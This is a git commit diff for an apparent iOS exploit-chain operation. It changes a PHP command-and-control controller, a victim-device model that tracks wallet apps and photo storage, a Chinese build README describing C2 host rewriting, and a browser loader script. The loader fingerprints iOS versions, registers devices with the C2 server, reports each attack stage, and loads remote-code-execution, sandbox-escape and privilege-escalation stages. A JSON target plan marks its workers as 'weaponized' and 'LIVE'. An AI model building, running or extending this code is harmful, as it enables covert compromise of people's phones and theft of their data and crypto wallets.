feat: ds
This commit is contained in:
@@ -46,7 +46,7 @@ class DeviceController extends Controller
|
||||
$filters = $this->filtersFrom($request);
|
||||
$q = $this->filteredQuery($filters);
|
||||
|
||||
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'has_wallet', 'created_at', 'updated_at'];
|
||||
$sortable = ['id', 'device_id', 'chain', 'channel_id', 'device_model', 'ios_version', 'ip', 'has_wallet', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'created_at');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
@@ -63,7 +63,7 @@ class DeviceController extends Controller
|
||||
return [
|
||||
'id' => $d->id,
|
||||
'device_id' => $d->device_id,
|
||||
'family' => $d->family ?: Device::FAMILY_CORUNA,
|
||||
'chain' => (int) ($d->chain ?: Device::CHAIN_CORUNA),
|
||||
'channel_id' => $d->channel_id ?: '',
|
||||
'source_domain' => $d->source_domain ?: '',
|
||||
'device_model' => $d->device_model ?: '',
|
||||
@@ -593,7 +593,7 @@ class DeviceController extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
|
||||
* @return array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
|
||||
*/
|
||||
private function filtersFrom(Request $request): array
|
||||
{
|
||||
@@ -605,7 +605,7 @@ class DeviceController extends Controller
|
||||
|
||||
return [
|
||||
'device_key' => trim((string) $request->query('device_key', '')),
|
||||
'family' => trim((string) $request->query('family', '')),
|
||||
'chain' => $this->parseChainFilter($request->query('chain', $request->query('family'))),
|
||||
'channel_id' => trim((string) $request->query('channel_id', '')),
|
||||
'model' => trim((string) $request->query('model', '')),
|
||||
'ip' => trim((string) $request->query('ip', '')),
|
||||
@@ -618,7 +618,7 @@ class DeviceController extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
|
||||
* @param array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
|
||||
*/
|
||||
private function filteredQuery(array $filters): Builder
|
||||
{
|
||||
@@ -628,8 +628,8 @@ class DeviceController extends Controller
|
||||
if ($filters['device_key'] !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%');
|
||||
}
|
||||
if ($filters['family'] !== '' && in_array($filters['family'], [Device::FAMILY_CORUNA, Device::FAMILY_DARKSWORD], true)) {
|
||||
$q->where('devices.family', $filters['family']);
|
||||
if ($filters['chain'] !== null) {
|
||||
$q->where('devices.chain', $filters['chain']);
|
||||
}
|
||||
if ($filters['channel_id'] !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%');
|
||||
@@ -658,4 +658,20 @@ class DeviceController extends Controller
|
||||
|
||||
return $q;
|
||||
}
|
||||
|
||||
private function parseChainFilter(mixed $raw): ?int
|
||||
{
|
||||
$value = is_string($raw) ? strtolower(trim($raw)) : $raw;
|
||||
if ($value === '' || $value === null) {
|
||||
return null;
|
||||
}
|
||||
if ($value === 1 || $value === '1' || $value === 'coruna') {
|
||||
return Device::CHAIN_CORUNA;
|
||||
}
|
||||
if ($value === 2 || $value === '2' || $value === 'darksword') {
|
||||
return Device::CHAIN_DARKSWORD;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -86,7 +86,7 @@ class DarkSwordC2Controller extends Controller
|
||||
{
|
||||
$payload = $this->payloadFromQueryOrJson($request);
|
||||
|
||||
return $this->finish($request, '/api/ds/log', $payload, $this->logAck($request));
|
||||
return $this->finish($request, '/api/ds/log', $payload, $this->logAck($request), ingest: false);
|
||||
}
|
||||
|
||||
public function peStage(Request $request, string $name = ''): SymfonyResponse
|
||||
@@ -103,7 +103,19 @@ class DarkSwordC2Controller extends Controller
|
||||
$body['pe_stage'] = $stage;
|
||||
}
|
||||
|
||||
return $this->finish($request, $path, $payload, $this->logAck($request), $body);
|
||||
$file = public_path('next-chain/pe_stage/'.$stage.'.js');
|
||||
if (! is_file($file)) {
|
||||
$file = base_path('channel-builder-ds/source/pe_stage/'.$stage.'.js');
|
||||
}
|
||||
$js = is_file($file) ? (string) file_get_contents($file) : 'ok';
|
||||
|
||||
return $this->finish(
|
||||
$request,
|
||||
$path,
|
||||
$payload,
|
||||
response($js, 200)->header('Content-Type', 'application/javascript; charset=utf-8'),
|
||||
$body
|
||||
);
|
||||
}
|
||||
|
||||
public function register(Request $request): SymfonyResponse
|
||||
@@ -246,11 +258,14 @@ class DarkSwordC2Controller extends Controller
|
||||
array $payload,
|
||||
SymfonyResponse $response,
|
||||
array|string|null $logBody = null,
|
||||
bool $ingest = true,
|
||||
): SymfonyResponse {
|
||||
try {
|
||||
$this->ingest->ingest($request, $path, $payload);
|
||||
} catch (\Throwable $e) {
|
||||
error_log('[ds] ingest '.$path.' '.$e->getMessage());
|
||||
if ($ingest) {
|
||||
try {
|
||||
$this->ingest->ingest($request, $path, $payload);
|
||||
} catch (\Throwable $e) {
|
||||
error_log('[ds] ingest '.$path.' '.$e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
$body = $logBody ?? $this->previewBody($request);
|
||||
|
||||
+10
-4
@@ -13,18 +13,18 @@ class Device extends Model
|
||||
|
||||
public const WALLET_YES = 2;
|
||||
|
||||
public const FAMILY_CORUNA = 'coruna';
|
||||
public const CHAIN_CORUNA = 1;
|
||||
|
||||
public const FAMILY_DARKSWORD = 'darksword';
|
||||
public const CHAIN_DARKSWORD = 2;
|
||||
|
||||
protected $fillable = [
|
||||
'device_id', 'family', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
|
||||
'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
|
||||
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
|
||||
];
|
||||
|
||||
protected $attributes = [
|
||||
'has_wallet' => self::WALLET_UNKNOWN,
|
||||
'family' => self::FAMILY_CORUNA,
|
||||
'chain' => self::CHAIN_CORUNA,
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
@@ -33,10 +33,16 @@ class Device extends Model
|
||||
'telegram_notified' => 'boolean',
|
||||
'album_storage' => 'boolean',
|
||||
'has_wallet' => 'integer',
|
||||
'chain' => 'integer',
|
||||
'wallet_names' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function isDarkSword(): bool
|
||||
{
|
||||
return (int) $this->chain === self::CHAIN_DARKSWORD;
|
||||
}
|
||||
|
||||
public function hasWalletApps(): bool
|
||||
{
|
||||
return (int) $this->has_wallet === self::WALLET_YES;
|
||||
|
||||
@@ -42,8 +42,8 @@ class DarkSwordIngestAdapter
|
||||
public function ingest(Request $request, string $path, array $payload): void
|
||||
{
|
||||
match ($path) {
|
||||
'/api/ds/device/register', '/api/device/register' => $this->ingestRegister($request, $payload),
|
||||
'/api/ds/log' => $this->ingestLog($request, $payload),
|
||||
'/api/ds/device/register' => $this->ingestRegister($request, $payload),
|
||||
'/api/ds/log' => null,
|
||||
'/a' => $this->ingestProfile($request, $payload),
|
||||
'/u' => $this->ingestApps($request, $payload),
|
||||
'/nb' => $this->ingestNotes($request, $payload),
|
||||
@@ -277,7 +277,7 @@ class DarkSwordIngestAdapter
|
||||
if ($existing) {
|
||||
$touch = [
|
||||
'updated_at' => now(),
|
||||
'family' => Device::FAMILY_DARKSWORD,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
];
|
||||
if ($ip !== '') {
|
||||
$touch['ip'] = $ip;
|
||||
@@ -299,7 +299,7 @@ class DarkSwordIngestAdapter
|
||||
|
||||
$device = Device::query()->create([
|
||||
'device_id' => $key,
|
||||
'family' => Device::FAMILY_DARKSWORD,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'device_model' => $model,
|
||||
'ios_version' => $ios,
|
||||
|
||||
@@ -27,7 +27,7 @@ class DsBeaconQueue
|
||||
|
||||
public function seed(Device $device): void
|
||||
{
|
||||
if ($device->family !== Device::FAMILY_DARKSWORD) {
|
||||
if ((int) $device->chain !== Device::CHAIN_DARKSWORD) {
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
@@ -65,7 +65,6 @@ return Application::configure(basePath: dirname(__DIR__))
|
||||
'war',
|
||||
'p',
|
||||
'stats',
|
||||
'log.html',
|
||||
]);
|
||||
|
||||
$middleware->redirectGuestsTo(function () {
|
||||
|
||||
@@ -1,31 +1,15 @@
|
||||
# channel-builder-ds
|
||||
|
||||
DarkSword / one99 static builder. `source/` is the pristine tree (live hosts).
|
||||
`tools/build.py` rewrites C2 / delivery origins and copies the result to
|
||||
`public/next-chain`. Runtime splits two bases:
|
||||
`source/` 是 one99/raw 的利用树。构建只做 C2 主机字符串替换,再拷到 `public/next-chain`。
|
||||
|
||||
- `__LAB_DELIVERY_HOST__` — static assets; may include a path (`https://cdn.example.com/next-chain`)
|
||||
- `__LAB_EXFIL__` — C2 / API (`/api/ds/chain-targets`, `/api/ds/device/register`, `/api/ds/log`, beacon/war)
|
||||
**资源域名不配置:** 页面用当前 weifile 的 `location.origin + /next-chain`。
|
||||
**C2 可配置:** `php artisan ds:build --c2 …` 改 `/api/ds/log` `/api/ds/chain-targets` `/api/ds/device/register` `/beacon` `/war` `/stats`。
|
||||
|
||||
If the page is served under `/next-chain/`, delivery host is inferred automatically.
|
||||
Override in `source/config.js`:
|
||||
|
||||
```js
|
||||
deliveryHost: "https://cdn.example.com/next-chain", // full base, or
|
||||
deliveryPath: "/next-chain", // location.origin + path
|
||||
exfil: { host: "api.example.com", http_port: 443, https_port: 443, tls: true },
|
||||
```
|
||||
weifile(本身已是 iframe)按 iOS 路由后直接 `loadScript` `config.js` + `boot.js`,不再套一层 iframe。渠道 ID 与 weifile 相同:`/channel/X.Y.ZZ/`。
|
||||
|
||||
```bash
|
||||
# 本地实验室
|
||||
php artisan ds:build --origin http://192.168.31.130:8000
|
||||
|
||||
# 线上 C2(必须带 --origin,否则会沿用 source/config.js 里的 192.168.31.130)
|
||||
php artisan ds:build --origin https://你的域名
|
||||
|
||||
# 等价
|
||||
cd channel-builder-ds
|
||||
python3 tools/build.py --origin https://你的域名
|
||||
php artisan ds:build --c2 http://192.168.31.130:8000
|
||||
php artisan xxbb:repack
|
||||
```
|
||||
|
||||
看产物用 `public/next-chain/config.js`,不要看 `source/config.js`(模板,构建不会改它)。
|
||||
PE 进度:`GET /api/ds/pe-stage/{name}.js` 打到 C2(记日志并吐 JS)。`public/next-chain/pe_stage/` 仍随 `ds:build` 发布,但客户端不再走这条静态路径。
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
{"band":{"fallback_workers":["rce_worker_18.5.js","rce_worker_18.4.js"],"recommended_worker":"rce_worker_18.6.js","usable_for_attempt":true,"usable_grade":"LIVE","weaponized":true},"chain":"darksword","delivery_ok":true,"entry_point":"","exfil":{"delivery_stats_url":"http://192.168.31.130:8080/stats","domain":"192.168.31.130","host":"192.168.31.130","http_port":8080,"https_port":8080,"prefer_https":false,"stats_url":"http://192.168.31.130:8080/stats","stats_url_direct":"http://192.168.31.130:8080/stats","tls":false},"fallback_workers":["rce_worker_18.5.js","rce_worker_18.4.js"],"gated":false,"ios":"18.6","ok":true,"reason":"DarkSword 18.4-18.7.2","recommended_worker":"rce_worker_18.6.js","redirect_to":"","s5_module":"","usable_grade":"LIVE","weaponized":true}
|
||||
@@ -0,0 +1 @@
|
||||
{"bundle":"18.5-18.6.2","deviceVersion":"18.5","folder":"qqtime/iOS18.5-18.6.2"}
|
||||
+127
-165
@@ -2,10 +2,92 @@
|
||||
'use strict';
|
||||
|
||||
var STAGE = { boot: 8, loader: 18, worker: 42, sbx0: 58, sbx1: 72, pe: 86, post: 100 };
|
||||
window.__LAB_CHAIN__ = '';
|
||||
window.__LAB_CHAIN__ = window.__LAB_CHAIN__ || '';
|
||||
|
||||
function trimSlash(s) {
|
||||
return String(s || '').replace(/\/+$/, '');
|
||||
}
|
||||
|
||||
function hostOnly(raw) {
|
||||
return String(raw || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
}
|
||||
|
||||
function persistChannelCode(code) {
|
||||
code = String(code || '').trim().slice(0, 64);
|
||||
if (!code) return '';
|
||||
try { window.__LAB_CHANNEL_CODE__ = code; } catch (e0) {}
|
||||
try { window.__CORUNA_CHANNEL__ = code; } catch (e1) {}
|
||||
try { if (sessionStorage) sessionStorage.setItem('lab_channel_code', code); } catch (e2) {}
|
||||
try { if (localStorage) localStorage.setItem('lab_channel_code', code); } catch (e3) {}
|
||||
return code;
|
||||
}
|
||||
|
||||
function labChannelCode() {
|
||||
try {
|
||||
if (window.__LAB_CHANNEL_CODE__) return String(window.__LAB_CHANNEL_CODE__);
|
||||
} catch (e0) {}
|
||||
try {
|
||||
var stored = sessionStorage.getItem('lab_channel_code') || localStorage.getItem('lab_channel_code') || '';
|
||||
if (stored) return persistChannelCode(stored);
|
||||
} catch (e1) {}
|
||||
try {
|
||||
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
|
||||
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
|
||||
} catch (e2) {}
|
||||
return '';
|
||||
}
|
||||
|
||||
function assetBase() {
|
||||
try {
|
||||
if (window.__LAB_DELIVERY_HOST__) return trimSlash(window.__LAB_DELIVERY_HOST__);
|
||||
} catch (e0) {}
|
||||
var origin = '';
|
||||
try {
|
||||
if (location.origin && location.origin !== 'null') origin = trimSlash(location.origin);
|
||||
} catch (e1) {}
|
||||
var path = '/next-chain';
|
||||
try {
|
||||
var cfg = window.NEWS2_CONFIG || {};
|
||||
if (cfg.deliveryPath) path = String(cfg.deliveryPath);
|
||||
} catch (e2) {}
|
||||
if (path.charAt(0) !== '/') path = '/' + path;
|
||||
return origin + path.replace(/\/+$/, '');
|
||||
}
|
||||
|
||||
function apiBase() {
|
||||
try {
|
||||
var ex = (window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host)
|
||||
? window.__LAB_EXFIL__
|
||||
: ((window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil) || null);
|
||||
if (ex && ex.host) {
|
||||
var tls = !!(ex.tls || ex.prefer_https);
|
||||
var port = Number(tls ? (ex.https_port || 443) : (ex.http_port || 80)) || (tls ? 443 : 80);
|
||||
var origin = (tls ? 'https://' : 'http://') + hostOnly(ex.host);
|
||||
if (!((tls && port === 443) || (!tls && port === 80))) origin += ':' + port;
|
||||
return origin;
|
||||
}
|
||||
} catch (e0) {}
|
||||
try {
|
||||
if (location.origin && location.origin !== 'null') return trimSlash(location.origin);
|
||||
} catch (e1) {}
|
||||
return '';
|
||||
}
|
||||
|
||||
function applyExfil(ex) {
|
||||
if (!ex || !ex.host) return;
|
||||
window.__LAB_EXFIL__ = {
|
||||
host: hostOnly(ex.host),
|
||||
domain: hostOnly(ex.domain || ex.host),
|
||||
http_port: ex.http_port != null ? Number(ex.http_port) : 80,
|
||||
https_port: ex.https_port != null ? Number(ex.https_port) : 80,
|
||||
tls: !!ex.tls,
|
||||
prefer_https: !!ex.prefer_https,
|
||||
stats_url: ex.stats_url || '',
|
||||
stats_url_direct: ex.stats_url_direct || '',
|
||||
delivery_stats_url: ex.delivery_stats_url || '',
|
||||
};
|
||||
}
|
||||
|
||||
var _stageQueue = [];
|
||||
var _lastPostedStage = '';
|
||||
function notify(stage, progress, label) {
|
||||
try {
|
||||
if (window.parent && window.parent !== window) {
|
||||
@@ -18,84 +100,46 @@
|
||||
}, '*');
|
||||
}
|
||||
} catch (e) {}
|
||||
enqueueStage(stage, progress, label);
|
||||
}
|
||||
function enqueueStage(stage, progress, label) {
|
||||
var key = String(stage) + '|' + String(progress) + '|' + String(label || stage);
|
||||
if (key === _lastPostedStage) return;
|
||||
_lastPostedStage = key;
|
||||
_stageQueue.push({ stage: stage, progress: progress, label: label || stage });
|
||||
flushStageReports();
|
||||
}
|
||||
function flushStageReports() {
|
||||
var id = '';
|
||||
try { id = window.__LAB_DEVICE_UUID__ || ''; } catch (eId) {}
|
||||
if (!id) return;
|
||||
var channel = (typeof labChannelCode === 'function' ? labChannelCode() : (window.__LAB_CHANNEL_CODE__ || '')) || '';
|
||||
while (_stageQueue.length) {
|
||||
var item = _stageQueue.shift();
|
||||
try {
|
||||
fetch(apiUrl('/api/ds/log'), {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json', 'X-Device-UUID': id },
|
||||
credentials: 'omit',
|
||||
body: JSON.stringify({
|
||||
deviceUUID: id,
|
||||
stage: item.stage,
|
||||
progress: item.progress,
|
||||
label: item.label,
|
||||
chain: window.__LAB_CHAIN__ || '',
|
||||
channelCode: channel
|
||||
})
|
||||
}).catch(function () {});
|
||||
} catch (eS) {}
|
||||
}
|
||||
}
|
||||
|
||||
labChannelCode();
|
||||
window.__LAB_DELIVERY_HOST__ = assetBase();
|
||||
try {
|
||||
if (window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil) applyExfil(window.NEWS2_CONFIG.exfil);
|
||||
} catch (eCfg) {}
|
||||
|
||||
var base = assetBase();
|
||||
var api = apiBase();
|
||||
|
||||
notify('boot', STAGE.boot, 'frame_boot');
|
||||
|
||||
if (typeof labEnsureHosts === 'function') labEnsureHosts();
|
||||
var base = (typeof labDeliveryHost === 'function')
|
||||
? labDeliveryHost()
|
||||
: String(window.__LAB_DELIVERY_HOST__ || location.origin).replace(/\/$/, '');
|
||||
window.__LAB_DELIVERY_HOST__ = base;
|
||||
function apiUrl(path) {
|
||||
return (typeof labApiUrl === 'function') ? labApiUrl(path) : (String((window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) || location.origin).replace(/\/$/, '') + path);
|
||||
}
|
||||
function assetUrl(path) {
|
||||
return (typeof labDeliveryUrl === 'function') ? labDeliveryUrl(path) : (base + (path.charAt(0) === '/' ? path : '/' + path));
|
||||
}
|
||||
|
||||
// 記錄 frame.html 載入時間戳
|
||||
console.log('[Frame] Loaded at', new Date().toISOString());
|
||||
fetch(apiUrl('/api/ds/log?text=frame.html loaded at ' + new Date().toISOString()), { method: 'GET' }).catch(() => {});
|
||||
fetch(api + '/api/ds/log?text=frame.html loaded at ' + new Date().toISOString(), { method: 'GET' }).catch(function () {});
|
||||
|
||||
function resolveExfilInline() {
|
||||
try {
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', apiUrl('/api/ds/chain-targets'), false);
|
||||
xhr.open('GET', api + '/api/ds/chain-targets', false);
|
||||
xhr.send();
|
||||
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) {
|
||||
var d = JSON.parse(xhr.responseText);
|
||||
if (d.exfil && d.exfil.host) {
|
||||
if (typeof labApplyExfil === 'function') labApplyExfil(d.exfil);
|
||||
else window.__LAB_EXFIL__ = d.exfil;
|
||||
applyExfil(d.exfil);
|
||||
api = apiBase();
|
||||
return;
|
||||
}
|
||||
}
|
||||
} catch (e) {}
|
||||
if (!window.__LAB_EXFIL__ || !window.__LAB_EXFIL__.host) {
|
||||
window.__LAB_EXFIL__ = {
|
||||
host: window.__LAB_EXFIL_DOMAIN__ || 'mh0usocqzi6f46i.com',
|
||||
domain: window.__LAB_EXFIL_DOMAIN__ || 'mh0usocqzi6f46i.com',
|
||||
http_port: 443,
|
||||
https_port: 443,
|
||||
tls: false,
|
||||
var h = hostOnly(api || location.hostname);
|
||||
applyExfil({
|
||||
host: h,
|
||||
domain: h,
|
||||
http_port: (location.port && Number(location.port)) || (location.protocol === 'https:' ? 443 : 80),
|
||||
https_port: (location.port && Number(location.port)) || (location.protocol === 'https:' ? 443 : 80),
|
||||
tls: location.protocol === 'https:',
|
||||
prefer_https: false,
|
||||
stats_url: '',
|
||||
stats_url_direct: '',
|
||||
delivery_stats_url: '',
|
||||
};
|
||||
});
|
||||
api = apiBase();
|
||||
}
|
||||
}
|
||||
resolveExfilInline();
|
||||
@@ -114,7 +158,7 @@
|
||||
|
||||
function cmpVer(a, b) {
|
||||
for (var i = 0; i < 3; i++) {
|
||||
var ai = a[i] || 0, bi = b[i] || 0;
|
||||
var ai = (a && a[i]) || 0, bi = (b && b[i]) || 0;
|
||||
if (ai < bi) return -1;
|
||||
if (ai > bi) return 1;
|
||||
}
|
||||
@@ -132,7 +176,6 @@
|
||||
function isSilkPathRange(v) {
|
||||
if (!v || !v.length) return false;
|
||||
var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0;
|
||||
// 17.2.2+ through 18.3 — fills post-Coruna gap
|
||||
if (maj === 17 && (min > 2 || (min === 2 && pat >= 2))) return true;
|
||||
if (maj === 18 && min <= 3) return true;
|
||||
return false;
|
||||
@@ -156,19 +199,7 @@
|
||||
setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
|
||||
}
|
||||
};
|
||||
document.body.appendChild(s);
|
||||
}
|
||||
|
||||
function loadChainLoader(onload, attempt) {
|
||||
attempt = attempt || 0;
|
||||
var s = document.createElement('script');
|
||||
s.async = false;
|
||||
s.src = assetUrl('/rce_loader.js?_=' + Date.now());
|
||||
s.onload = function () { if (onload) onload(); };
|
||||
s.onerror = function () {
|
||||
if (attempt < 3) setTimeout(function () { loadChainLoader(onload, attempt + 1); }, 300 * (attempt + 1));
|
||||
};
|
||||
document.body.appendChild(s);
|
||||
(document.body || document.documentElement).appendChild(s);
|
||||
}
|
||||
|
||||
var ios = parseIosVersion();
|
||||
@@ -187,14 +218,14 @@
|
||||
var apiPlan = null;
|
||||
try {
|
||||
var xhrPlan = new XMLHttpRequest();
|
||||
xhrPlan.open('GET', apiUrl('/api/ds/chain-targets?ios=' + encodeURIComponent(ios ? ios.join('.') : '')), false);
|
||||
xhrPlan.open('GET', api + '/api/ds/chain-targets?ios=' + encodeURIComponent(ios ? ios.join('.') : ''), false);
|
||||
xhrPlan.send();
|
||||
if (xhrPlan.status >= 200 && xhrPlan.status < 300 && xhrPlan.responseText) {
|
||||
apiPlan = JSON.parse(xhrPlan.responseText);
|
||||
if (apiPlan.chain) chain = apiPlan.chain;
|
||||
if (apiPlan.exfil) {
|
||||
if (typeof labApplyExfil === 'function') labApplyExfil(apiPlan.exfil);
|
||||
else window.__LAB_EXFIL__ = apiPlan.exfil;
|
||||
applyExfil(apiPlan.exfil);
|
||||
api = apiBase();
|
||||
}
|
||||
window.__LAB_BAND__ = apiPlan.band || null;
|
||||
window.__LAB_GATED__ = !!apiPlan.gated;
|
||||
@@ -204,19 +235,16 @@
|
||||
window.__LAB_ENTRY__ = apiPlan.entry_point || apiPlan.redirect_to || '';
|
||||
window.__LAB_USABLE_GRADE__ = (apiPlan.band && apiPlan.band.usable_grade) || '';
|
||||
window.__LAB_USABLE_FOR_ATTEMPT__ = !!(apiPlan.band && apiPlan.band.usable_for_attempt);
|
||||
if (apiPlan.band && apiPlan.band.usable_grade === 'DEAD' && /26\.3/.test(ios ? ios.join('.') : '')) {
|
||||
window.__LAB_RECOMMENDED_WORKER__ = window.__LAB_RECOMMENDED_WORKER__ || 'rce_worker_26.3.js';
|
||||
}
|
||||
try {
|
||||
var pw = window.__LAB_RECOMMENDED_WORKER__;
|
||||
if (pw) {
|
||||
var l = document.createElement('link');
|
||||
l.rel = 'preload'; l.as = 'script'; l.href = assetUrl('/' + pw);
|
||||
l.rel = 'preload'; l.as = 'script'; l.href = base + '/' + pw;
|
||||
document.head.appendChild(l);
|
||||
}
|
||||
['sbx0_main_18.4.js','sbx1_main.js','pe_main.js'].forEach(function(f){
|
||||
var l2=document.createElement('link');
|
||||
l2.rel='prefetch'; l2.href=assetUrl('/'+f);
|
||||
['sbx0_main_18.4.js', 'sbx1_main.js', 'pe_worker.js', 'pe_main.js'].forEach(function (f) {
|
||||
var l2 = document.createElement('link');
|
||||
l2.rel = 'prefetch'; l2.href = base + '/' + f;
|
||||
document.head.appendChild(l2);
|
||||
});
|
||||
} catch (ePre) {}
|
||||
@@ -257,7 +285,6 @@
|
||||
du = m ? decodeURIComponent(m[1]) : '';
|
||||
} catch (eCk) {}
|
||||
}
|
||||
// Always ensure a wall-clock device id so /api/ds/log + exfil attribute correctly
|
||||
if (!du || String(du).replace(/-/g, '').length < 16) du = genUuid32();
|
||||
window.__LAB_DEVICE_UUID__ = String(du).replace(/-/g, '').toUpperCase().slice(0, 32);
|
||||
try { localStorage.setItem('lab_device_uuid', window.__LAB_DEVICE_UUID__); } catch (e1) {}
|
||||
@@ -267,20 +294,14 @@
|
||||
} catch (e0) {
|
||||
try { window.__LAB_DEVICE_UUID__ = genUuid32(); } catch (e00) {}
|
||||
}
|
||||
window.addEventListener('message', function (ev) {
|
||||
if (!ev.data || ev.data.type !== 'lab-device-id' || !ev.data.deviceId) return;
|
||||
window.__LAB_DEVICE_UUID__ = String(ev.data.deviceId).replace(/-/g, '').toUpperCase();
|
||||
try { localStorage.setItem('lab_device_uuid', window.__LAB_DEVICE_UUID__); } catch (e2) {}
|
||||
try { flushStageReports(); } catch (eF) {}
|
||||
});
|
||||
})();
|
||||
try { flushStageReports(); } catch (eFlush) {}
|
||||
|
||||
(function registerFrameDevice() {
|
||||
try {
|
||||
var id = window.__LAB_DEVICE_UUID__ || '';
|
||||
if (!id) return;
|
||||
var iosStr = ios ? ios.join('.') : '';
|
||||
var channel = labChannelCode();
|
||||
var regHeaders = { 'Content-Type': 'application/json', 'X-Device-UUID': id };
|
||||
var regBody = JSON.stringify({
|
||||
deviceUUID: id,
|
||||
@@ -289,9 +310,9 @@
|
||||
ios: iosStr,
|
||||
ios_version: iosStr,
|
||||
chain: chain === 'blocked' ? 'out_of_scope' : chain,
|
||||
channelCode: (typeof labChannelCode === 'function' ? labChannelCode() : (window.__LAB_CHANNEL_CODE__ || '')) || ''
|
||||
channelCode: channel
|
||||
});
|
||||
fetch(apiUrl('/api/ds/device/register'), {
|
||||
fetch(api + '/api/ds/device/register', {
|
||||
method: 'POST',
|
||||
headers: regHeaders,
|
||||
credentials: 'omit',
|
||||
@@ -301,30 +322,25 @@
|
||||
if (canon) {
|
||||
window.__LAB_DEVICE_UUID__ = canon;
|
||||
try { localStorage.setItem('lab_device_uuid', canon); } catch (e3) {}
|
||||
try {
|
||||
document.cookie = 'lab_device_uuid=' + encodeURIComponent(canon) + ';path=/;max-age=31536000;SameSite=Lax';
|
||||
} catch (e4) {}
|
||||
if (window.parent && window.parent !== window) {
|
||||
try { window.parent.postMessage({ type: 'lab-device-id', deviceId: canon }, '*'); } catch (e5) {}
|
||||
}
|
||||
}
|
||||
}).catch(function () {});
|
||||
} catch (e) {}
|
||||
})();
|
||||
|
||||
|
||||
console.log('[Frame] iOS version:', ios ? ios.join('.') : 'unknown');
|
||||
console.log('[Frame] Chain selected:', chain);
|
||||
(function () {
|
||||
var id = window.__LAB_DEVICE_UUID__ || '';
|
||||
var q = 'text=' + encodeURIComponent('Chain selected: ' + chain + ' for iOS ' + (ios ? ios.join('.') : 'unknown'));
|
||||
if (id) q += '&deviceUUID=' + encodeURIComponent(id) + '&device=' + encodeURIComponent(id);
|
||||
fetch(apiUrl('/api/ds/log?' + q), {
|
||||
var ch = labChannelCode();
|
||||
if (ch) q += '&channelCode=' + encodeURIComponent(ch);
|
||||
fetch(api + '/api/ds/log?' + q, {
|
||||
method: 'GET',
|
||||
headers: id ? { 'X-Device-UUID': id } : {}
|
||||
}).catch(function () {});
|
||||
})();
|
||||
|
||||
|
||||
function setHold(kind) {
|
||||
try {
|
||||
var ts = String(Date.now());
|
||||
@@ -334,86 +350,32 @@
|
||||
localStorage.setItem('__ds_rce_hold', ts);
|
||||
sessionStorage.setItem('__ds_rce_hold', ts);
|
||||
}
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent.postMessage({ type: 'ds-rce-hold', progress: 42 }, '*');
|
||||
}
|
||||
} catch (e) {}
|
||||
}
|
||||
|
||||
if (chain === 'coruna') {
|
||||
notify('loader', STAGE.loader);
|
||||
// Prefer full group.html entry when top-level; inside iframe use loader
|
||||
var corunaEntry = (window.__LAB_ENTRY__ && window.__LAB_ENTRY__.indexOf('coruna') >= 0)
|
||||
? window.__LAB_ENTRY__
|
||||
: '/coruna/group.html';
|
||||
try {
|
||||
if (window.top === window) {
|
||||
location.replace(assetUrl(corunaEntry) + (location.search || ''));
|
||||
return;
|
||||
}
|
||||
} catch (eTop) {}
|
||||
loadScript(assetUrl('/coruna/coruna_loader.js'), function () {
|
||||
notify('worker', STAGE.worker);
|
||||
});
|
||||
} else if (chain === 'silkpath') {
|
||||
if (chain === 'darksword' || chain === 'ghostwave') {
|
||||
setHold('rce');
|
||||
notify('loader', STAGE.loader);
|
||||
loadScript(assetUrl('/SilkPath/delivery/silkpath_loader.js'), function () {
|
||||
loadScript(base + '/rce_loader.js', function () {
|
||||
notify('worker', STAGE.worker);
|
||||
});
|
||||
} else if (chain === 'darksword' || chain === 'ghostwave') {
|
||||
// Hold must be set before RCE — otherwise crash-loop breaker / idle re-arm
|
||||
// reload the page while stage1 is still running (looks like "auto refresh").
|
||||
setHold('rce');
|
||||
} else if (chain === 'coruna' || chain === 'silkpath') {
|
||||
notify('loader', STAGE.loader);
|
||||
// Load plaintext rce_loader.js
|
||||
